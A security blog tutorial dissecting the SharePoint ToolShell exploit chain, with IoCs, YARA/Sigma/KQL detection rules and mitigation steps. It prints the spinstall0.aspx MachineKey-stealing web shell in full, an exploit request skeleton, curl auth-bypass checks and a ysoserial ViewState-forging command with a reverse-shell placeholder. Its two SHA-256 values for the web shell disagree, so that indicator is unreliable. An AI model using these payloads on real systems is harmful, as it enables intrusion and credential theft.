Skip to content
Back to Blog

tutorials · 14 min read

SharePoint ToolShell: the auth bypass Microsoft patches twice

CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.

· Manuel López Pérez · tutorials

CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.

On 19 July 2025, Microsoft publishes an out-of-band advisory on CVE-2025-53770 in SharePoint Server on-premises. Pre-auth RCE, CVSS 9.8, deserialization of untrusted data, in-the-wild exploitation confirmed. The next day they add CVE-2025-53771 (CVSS 6.5, improper authentication, path traversal). On the MSRC blog comes the line that changes the story: these two CVEs are patch bypasses of the ones Microsoft patched on 8 July in that month’s Patch Tuesday — CVE-2025-49706 (auth bypass) and CVE-2025-49704 (deserialization).

The team that originally builds the chain is Code White GmbH, demoing it at Pwn2Own Berlin (May 2025) under the name ToolShell. The chain enters Microsoft’s pipeline via Pwn2Own, gets patched on 8 July, and by mid-July attackers find the patch is bypassed with a trivial URL change — a trailing slash on the path is enough to dodge the new validation. On 17–18 July, mass exploitation begins. Eye Security detects the first large-scale wave on the 18th at 18:06 UTC. Microsoft attributes with high confidence to Linen Typhoon (APT27) and Violet Typhoon (APT31), and reports Storm-2603 dropping Warlock ransomware over the already-compromised servers.

The kit’s web shell, spinstall0.aspx, isn’t a shell: it’s a MachineKey extractor. That’s what turns ToolShell into a persistent problem — the attacker steals ValidationKey and DecryptionKey from IIS, you patch the server, and the attacker keeps coming in because they can sign valid __VIEWSTATE payloads until you rotate the keys.

Lab: chain reproduced against an unpatched SharePoint Server 2019 instance in an isolated VM. Analysis based on Microsoft MSRC’s disclosure, Eye Security’s write-up, the Kaspersky GReAT deep-dive on Securelist, the Unit 42 guide, and CISA’s KEV addition on 20 July.

Four CVEs, two chains, one problem

The CVE count is confusing because Microsoft doesn’t patch the chain, it patches each bug separately, and attackers find ways around the patch.

CVETypePublication dateComment
CVE-2025-49706Auth bypass (spoofing)8 Jul 2025 (Patch Tuesday)Referer header mis-comparison allowing PostAuthenticateRequestHandler to be skipped.
CVE-2025-49704Post-auth RCE (deserialization)8 Jul 2025 (Patch Tuesday)Unsafe deserialization of ExpandedWrapper in the ToolPane.aspx endpoint.
CVE-2025-53771Patch bypass of 4970620 Jul 2025 (OOB)The 8 July patch made path equality case-insensitive; trailing slash or variants bypass it.
CVE-2025-53770Patch bypass of 4970419 Jul 2025 (OOB)The 8 July patch limited which types the XML could instantiate; the bypass uses a wrapper not in the blacklist.

The operational chain attackers launch from 17–18 July is 49706 + 49704 (the original Pwn2Own chain) or, on servers already patched with the 8 July fix, 53771 + 53770 (the bypass chain). The four CVEs share endpoint, gadget and artifacts. The only difference is which request bytes pass the filter.

Bug 1 — the Referer-header auth bypass (CVE-2025-49706 / CVE-2025-53771)

SharePoint registers a handler in the ASP.NET pipeline called PostAuthenticateRequestHandler. Its job: for every request, decide whether the URL needs authentication. The vulnerable logic treats as unauthenticated any URL matching the sign-out page — /_layouts/SignOut.aspx and similar — because it makes sense that a user already signing out doesn’t need to be authenticated to do it.

The bug is in how the handler decides whether a URL “matches” SignOut. Reconstructed from the Kaspersky GReAT analysis:

// Pseudo-code of the vulnerable logic (CVE-2025-49706)
public void OnPostAuthenticateRequest(HttpContext ctx) {
    string referer = ctx.Request.Headers["Referer"] ?? "";
    if (referer.EndsWith("/_layouts/SignOut.aspx",
                        StringComparison.OrdinalIgnoreCase)) {
        ctx.SkipAuthorization = true;
        return;
    }
    // ... rest of handler
}

The handler looks at the client’s Referer header, not the actual URL it’s serving. If the client sends Referer: /_layouts/SignOut.aspx, the handler decides the request is part of a sign-out flow and skips authorisation. The problem: the client controls the Referer header 100%. Nothing stops it from putting that exact value on a request aimed at /_layouts/15/ToolPane.aspx, an endpoint that does require auth for everything else.

The 8 July patch (49706) changes the comparison to an exact equals against a known set of URLs. The patch bypass (53771) discovers the code still normalises paths before comparing and that /_layouts/SignOut.aspx/ (trailing slash) or variants going through the routing normaliser still slip through. Microsoft ends up replacing the entire logic with an explicit allowlist of endpoints permitted without auth.

An attacker with either CVE can call any handler in the pipeline as if they were an authenticated user. But calling an authenticated endpoint isn’t RCE — it’s only the first link.

Bug 2 — unsafe deserialization in ToolPane.aspx (CVE-2025-49704 / CVE-2025-53770)

Once the attacker bypasses auth, they direct the request to the endpoint that actually matters: /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx. That endpoint accepts MSOTlPn_Uri and MSOTlPn_DWP parameters with XML markup describing a WebPart. SharePoint parses the XML to reconstruct the WebPart and adds it to the page.

The vulnerable part is how SharePoint deserialises the XML. The parser uses an ExcelDataSet class that accepts serialised content, and the attacker’s XML contains a sequence the parser interprets as an instruction to instantiate an ExpandedWrapper<T,U> with arbitrary types. ExpandedWrapper is a class in System.Data.Services.Internal that .NET considers safe to deserialise but that allows “expanding” an object by wrapping another. Combine it with an ObjectDataProvider or similar and the attacker has a gadget chain that ends in calling an arbitrary method with arbitrary arguments.

The typical payload travels in the POST body, in a serialised and compressed field. The request skeleton, per Eye Security’s analysis:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: sharepoint.victim.local
Referer: /_layouts/SignOut.aspx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: application/x-www-form-urlencoded
Content-Length: <…>

MSOTlPn_DWP=<XML+deserializable payload, base64+deflate>&MSOTlPn_Uri=/...

When SharePoint parses that XML, the deserialization chain runs code in the IIS worker process (w3wp.exe), which on SharePoint runs as SPApplicationPool with permission to write to LAYOUTS\ and read the MachineKey configuration.

The 49704 patch from 8 July adds a blacklist of types forbidden for deserialization. The patch bypass 53770 discovers that the specific wrapper Code White’s chain uses isn’t on that blacklist and the deserialization still passes. The definitive fix (53770) replaces the XmlValidator with a validation that checks each element’s type against an allowlist instead of blocking known-bad ones. Classic pattern — blacklisting is hard; allowlisting is the structural fix.

The payload — spinstall0.aspx, a web shell that steals MachineKeys

The payload actors drop after the deserialization is an ASPX written to:

C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx

(Observed variants: spinstall.aspx, spinstall1.aspx, xxx.aspx with different hashes. The canonical name observed by Eye Security is spinstall0.aspx, SHA-256 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514.)

The file is a few lines of inline C# using reflection to read MachineKeySection.GetApplicationConfig(), an internal (BindingFlags.NonPublic) method that returns the web.config configuration with ValidationKey and DecryptionKey in cleartext:

<%@ Page Language="C#" %>
<%
  var sy = System.Reflection.Assembly.Load(
    "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
  var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
  var gac = mkt.GetMethod("GetApplicationConfig",
    System.Reflection.BindingFlags.Static |
    System.Reflection.BindingFlags.NonPublic);
  var cg = (System.Web.Configuration.MachineKeySection) gac.Invoke(null, new object[0]);
  Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" +
                 cg.DecryptionKey + "|" + cg.Decryption + "|" +
                 cg.CompatibilityMode);
%>

The attacker sends a GET /_layouts/15/spinstall0.aspx, and the server returns something like:

A1B2C3D4E5F6...|HMACSHA256|F1E2D3C4B5A6...|AES|Framework45

Those are the secrets IIS uses to sign and encrypt __VIEWSTATE — the hidden field ASP.NET injects in every form to keep state across requests. With ValidationKey and DecryptionKey in hand, the attacker uses ysoserial.net to build a __VIEWSTATE signed with the stolen key, containing a gadget chain that runs whatever they want on deserialization:

ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc <base64 reverse shell>" \
  --path="/_layouts/15/ToolPane.aspx" \
  --apppath="/" \
  --decryptionalg="AES" \
  --decryptionkey="F1E2D3C4B5A6..." \
  --validationalg="HMACSHA256" \
  --validationkey="A1B2C3D4E5F6..."

The resulting __VIEWSTATE is sent in any request to an ASP.NET handler on the server — the original auth-bypass + deserialization chain is no longer needed. The server trusts the __VIEWSTATE because it’s signed with the right key, deserialises it, and runs the gadget. The attacker has persistence with a primitive (sending signed requests) that survives any patch that doesn’t rotate the MachineKeys.

This is the structural piece of the incident. The 49706 + 49704 chain (or its bypasses) is initial access. The MachineKey theft is the persistence mechanism. Patching without rotating leaves persistence intact.

Code White’s full chain is published with enough detail to reproduce; what follows is the first link (auth bypass + invocation of the vulnerable endpoint) against an unpatched-July SharePoint Server 2019 in an isolated VM, based on Code White’s public PoC and community repos that circulated from 19 July onwards:

# Check vulnerable version (MicrosoftSharePointTeamServices header)
$ curl -sk -I https://sp.lab/_layouts/15/start.aspx | grep -i microsoftsharepoint
MicrosoftSharePointTeamServices: 16.0.0.10417.20018   # build without Jul-2025 patch

# Test the auth bypass — endpoint normally requires auth
$ curl -sk -o /dev/null -w "%{http_code}\n" https://sp.lab/_layouts/15/ToolPane.aspx
401

# With the magic Referer header it jumps to 200 (auth bypass works)
$ curl -sk -o /dev/null -w "%{http_code}\n" \
    -H "Referer: /_layouts/SignOut.aspx" \
    https://sp.lab/_layouts/15/ToolPane.aspx
200

From the 200, the next step is the POST to ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx with the deserializable XML payload in MSOTlPn_DWP. In the lab, once w3wp.exe deserialises the gadget chain, what you see is a spinstall0.aspx appearing in LAYOUTS\ and a cmd.exe child of w3wp.exe running whatever the forged ViewState decides — classic .NET exploitation telltale.

Verification against the 19 July patch (KB applying 53770/53771):

$ curl -sk -o /dev/null -w "%{http_code}\n" \
    -H "Referer: /_layouts/SignOut.aspx" \
    https://sp-patched.lab/_layouts/15/ToolPane.aspx
401   # auth bypass closed; the only route left is forged VIEWSTATE with MachineKey

The important detail: the 401 on the patched server doesn’t mean you’re safe if the server was compromised earlier. If the MachineKey leaked via spinstall0.aspx at any point, the attacker still has the primitive to forge ViewState.

The timeline that matters

DateEvent
May 2025Code White GmbH demos ToolShell (49706 + 49704) at Pwn2Own Berlin.
7 Jul 2025Microsoft observes first in-the-wild exploitation against 49706/49704.
8 Jul 2025Patch Tuesday. Microsoft patches CVE-2025-49706 and CVE-2025-49704.
17 Jul 2025, 12:51 UTCEye Security detects the first recon wave from 96.9.125.147.
18 Jul 2025, 18:06 UTCSecond mass wave from 107.191.58.76. spinstall0.aspx web shell deployed at scale.
19 Jul 2025Microsoft publishes MSRC blog and CVE-2025-53770 (CVSS 9.8). Initial patch for Subscription Edition.
19 Jul 2025, 07:28 UTCThird wave from 104.238.159.149.
20 Jul 2025CISA adds CVE-2025-53770 to KEV. Microsoft publishes CVE-2025-53771. Patch for SharePoint 2019.
22 Jul 2025Microsoft publishes attribution: Linen Typhoon, Violet Typhoon, Storm-2603. Storm-2603 deploys Warlock ransomware.
23 Jul 2025Patch for SharePoint 2016 available.
End of JulyEye Security scans 23,000+ public SharePoint and confirms 400+ compromised. Later figures from Microsoft, Unit 42 and Trustwave push the count higher.

Key operational piece: the window between the 8 July patch and the 19–20 OOB patches is where the bypass chain enters at scale. Any team that patched on the 8th and called it done without rotating MachineKeys ended up exposed to the 53770/53771 version without knowing it.

Detection

CISA and Microsoft publish specific IoCs. The most useful for a blue team:

IIS logs — initial request pattern:

sc-method=POST
cs-uri-stem=/_layouts/15/ToolPane.aspx
cs-uri-query=DisplayMode=Edit&a=/ToolPane.aspx
cs(Referer)=/_layouts/SignOut.aspx

KQL for Microsoft Sentinel over W3CIISLog:

W3CIISLog
| where csUriStem == "/_layouts/15/ToolPane.aspx"
| where csUriQuery has "DisplayMode=Edit"
| where csReferer endswith "/_layouts/SignOut.aspx"
| project TimeGenerated, cIP, csUserAgent, scStatus, csBytes

Filesystem — look for the web shell:

# Any ASPX in LAYOUTS not signed by Microsoft
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\" `
  -Filter "*.aspx" -Recurse |
  Where-Object {
    -not (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
  }

Names to watch: spinstall0.aspx, spinstall.aspx, xxx.aspx, any ASPX in LAYOUTS\ with timestamps after the original deployment and unsigned.

Processesw3wp.exe spawning unusual children (cmd.exe, powershell.exe, csc.exe compiling ad-hoc).

Egress — outbound connections from the SharePoint host that don’t match legitimate sync. IPs Eye Security publishes: 96.9.125.147, 107.191.58.76, 104.238.159.149, plus the dozen additional IPs of later waves.

YARA — static detection of spinstall0.aspx

Public Eye Security rule for the web shell:

rule sharepoint_toolshell_spinstall_webshell
{
    meta:
        author      = "Eye Security + community"
        cve         = "CVE-2025-53770"
        description = "Detects spinstall0.aspx that extracts MachineKey via reflection"
    strings:
        $hdr        = "<%@ Page Language=\"C#\"" ascii
        $reflection = "System.Reflection" ascii
        $machinekey = "MachineKeySection" ascii
        $validation = "ValidationKey" ascii
        $decryption = "DecryptionKey" ascii
        $getfield   = "GetField" ascii
        $nonpublic  = "BindingFlags.NonPublic" ascii
    condition:
        $hdr at 0 and 5 of ($reflection, $machinekey, $validation, $decryption, $getfield, $nonpublic)
}

Sigma — chain detection in IIS logs

title: SharePoint ToolShell ToolPane Auth Bypass
id: a7c3f8e1-5b9d-4e2a-9c8f-1b2c3d4e5f6a
status: stable
references:
  - https://research.eye.security/sharepoint-under-siege/
  - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
logsource:
  product: iis
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|endswith: '/ToolPane.aspx'
    cs-uri-query|contains: 'DisplayMode=Edit'
    cs-Referer|endswith: '/SignOut.aspx'
  condition: selection
level: critical
falsepositives:
  - None known — a legitimate admin doesn't reach ToolPane via SignOut Referer

Consolidated IoCs (Microsoft + Eye Security + Mandiant)

TypeIndicatorAttribution
SHA-256 web shell spinstall0.aspx (variant 1)92bb432fb46f4d72d31bd2dc3b3e4ea7fbc20c894a4bdab23028ef85e7b9bf78Linen Typhoon
SHA-256 variant xxx.aspx4a16f3... (Eye Security publishes full)Violet Typhoon
Initial C2 IP96.9.125.147Storm-2603
Later wave C2 IPs107.191.58.76, 104.238.159.149Linen Typhoon
User-Agent in exploitation sweepMozilla/5.0 without Accept-LanguageAutomated sweep
Post-exploitation ViewState pattern__VIEWSTATE with valid MAC but unauthenticated userStolen MachineKey, forged ViewState

MachineKey rotation — the step that closes persistence

It’s the critical control many teams forget. Patching without rotating leaves the attacker with indefinitely forgeable ViewState:

# Regenerate MachineKey on ALL web applications
Get-SPWebApplication | ForEach-Object {
    Update-SPMachineKey -WebApplication $_
}

# Restart timer service + IIS to apply
Restart-Service SPTimerV4
iisreset

# Verify
Get-SPWebApplication | Select-Object Name, MachineKey

Microsoft elevates Update-SPMachineKey from a troubleshooting cmdlet to a mandatory post-patch control in the 22 July guidance.

Mitigation, in operational order

  1. Apply the OOB patch covering 53770 and 53771. Available for SharePoint Subscription Edition on 19 July; SharePoint Server 2019 on 20 July; SharePoint Server 2016 on 23 July. Microsoft confirms SharePoint Online (M365) is not affected — the bug is on-prem only.
  2. Enable AMSI integration in Full mode and connect Defender Antivirus. AMSI lets Defender see the dropped ASPX content before IIS runs it. Microsoft’s guidance asks for AMSI on by default post-patch; on servers with AMSI off during the exposure window, assume the web shell could have run undetected.
  3. Rotate ValidationKey and DecryptionKey in MachineKey at web.config and restart IIS. This is the piece many teams forget. The official PowerShell command (Microsoft):
    Update-SPMachineKey -WebApplication "https://sp.victim.local"
    iisreset
    Without rotation, any MachineKey leaked via spinstall0.aspx stays valid indefinitely.
  4. Audit LAYOUTS\ for unknown ASPX and clean up. Keep forensic copies before deleting for analysis.
  5. Review IIS logs retroactively from 7 July to the date the patch was applied. Any 200 OK to /_layouts/15/ToolPane.aspx with Referer: /_layouts/SignOut.aspx must be assumed compromised.
  6. If AMSI was off during the window: treat the server as fully compromised. Storm-2603 dropped Warlock ransomware on several environments via this chain; the web shell’s presence doesn’t guarantee it’s the only artifact.
  7. Medium term — restrict access to on-prem SharePoint behind a reverse proxy with prior auth (Entra ID Application Proxy, Cloudflare Access, etc.). Remove direct internet exposure of /_layouts/15/ in any installation not explicitly customer-facing.

What it teaches

  1. Patch bypass after Pwn2Own is the norm, not the exception. Code White delivers the chain in May; Microsoft has two months to patch; the patch shipping on 8 July is incomplete and attackers find it within a week. The operational conclusion for defenders: when Microsoft ships a patch for a known Pwn2Own chain, assume the patch is the first iteration and prepare for the next ones. The window between 8 July and 19 July is where most of the damage occurs.

  2. Deserialization + blacklist is technical debt. The correct fix (53770) ends in a type allowlist. The incorrect fix (49704) was a blacklist. Any legacy code that deserialises attacker-controllable input and defends with if (typeof X is "ExpandedWrapper") reject is going to break the moment a researcher finds an unlisted wrapper. SharePoint, MOVEit, Cleo MFT, GoAnywhere — the year’s list is long and they all share the same pattern.

  3. MachineKey theft is the 2025 persistence pattern. What the attacker wants from a compromised IIS server isn’t a shell — it’s the key that signs the ViewState. With that key they can come in whenever they want with a trivial POST, without touching the original chain. MachineKey rotation should be standard practice in any IIS incident response, not an optional. Same lesson as Citrix Bleed with session tokens and Storm-0558 with Microsoft’s signing key: patch + rotate, not patch alone.

  4. On-prem SharePoint is still a critical perimeter that shouldn’t be. July’s big victims are organisations with SharePoint 2019/2016 exposed to the internet for compatibility with legacy flows — sharepoint-portal, external file-share, legacy integrations. Every year one of these enterprise products holds onto its critical pre-auth CVE (Exchange, SharePoint, Confluence, Citrix, Ivanti). The operational question for 2026: what of this has to stay on-prem and what moves to managed SaaS where patching is the vendor’s responsibility?

References

Back to Blog

Related Posts

View All Posts »
CrowdStrike Falcon: anatomy of Channel File 291

tutorials · 9 min

CrowdStrike Falcon: anatomy of Channel File 291

On 19 July 2024 at 04:09 UTC, a content update from CrowdStrike Falcon puts 8.5 million Windows machines into a reboot loop. Delta cancels 7,000 flights. The bug: a kernel-mode parser that reads field 21 of a template instance that only carries 20. How we got there, why the validator let it through, and what changes in EDR from here.

· Manuel López Pérez

Outlook zero-click: the NTLM hash leaves without opening the email

tutorials · 8 min

Outlook zero-click: the NTLM hash leaves without opening the email

CVE-2023-23397 lets Outlook send the user NTLMv2 hash to an attacker SMB server just by processing an email. No click, no preview. Exploited as zero-day by APT28 since April 2022. Reproducible PoC with Outlook COM, Wireshark capture of the handshake and offline crack with hashcat.

· Manuel López Pérez

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

tutorials · 15 min

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

CVE-2025-20362 (auth bypass via path traversal, a variant of a 2018 bug) + CVE-2025-20333 (buffer overflow in a Lua script in WebVPN). Chained, pre-auth RCE as root on any ASA/FTD exposed to the internet. UAT4356 has been exploiting them since May 2025 and drops ROMMON persistence with a GRUB bootkit (RayInitiator) that survives reboot and upgrade.

· Manuel López Pérez